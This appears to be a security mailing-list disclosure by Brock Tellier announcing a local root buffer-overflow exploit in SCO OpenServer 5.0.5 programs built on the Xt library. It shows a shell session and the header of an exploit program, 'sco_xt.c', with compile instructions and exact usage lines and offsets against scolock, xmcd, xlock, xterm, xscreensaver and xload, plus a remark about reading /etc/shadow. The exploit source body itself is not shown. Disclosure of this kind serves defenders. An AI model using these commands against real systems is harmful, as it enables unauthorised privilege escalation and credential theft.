Greetings,
    As I mentioned in an earlier post, virtually all of SCO's programs
using the Xt library are vulnerable to a local root exploit.  The proofs
of concept follow:
They all go something like this:
scobox:/tmp_mnt/home/btellier$ uname -a
SCO_SV scobox 3.2 5.0.5 i386
scobox:/tmp_mnt/home/btellier$ id
uid=136(btellier) gid=100(devel) groups=100(devel),998(www)
scobox:/tmp_mnt/home/btellier$ xmcd -bg `./sco_xt -9000 2200`

/*
 * Generic SCO Xt library overflow program by Brock Tellier
btellier@webley.com
 * Tested on SCO 5.0.5+Skunkware98
 * All programs using the Xt library are believed vulnerable
 *
   Compile gcc -o sco_xt sco_xt.c
   Usage: /usr/bin/X11/scolock -bg `./sco_xt -9000 2000`
          /usr/bin/X11/xmcd -bg `./sco_xt -8500 2000`
   /usr/bin/X11/xlock -bg `./sco_xt -8500 2000`
   /usr/bin/X11/xterm -bg `./sco_xt -9000 2000`
 * NOTE: xscreensaver and xload are vulnerable to the overflow but drop
 * privs before the overflow occurs.  Of course, they were suid auth so
that
 * they could read /etc/shadow and thus your shellcode could exploit
something
 * along those lines.  I got shells out of them by doing:
   /usr/bin/X11/xscreensaver -bg `./sco_xt -8404 2200`
   /usr/bin/X11/xload -bg `./sco_xt -8404 2200`
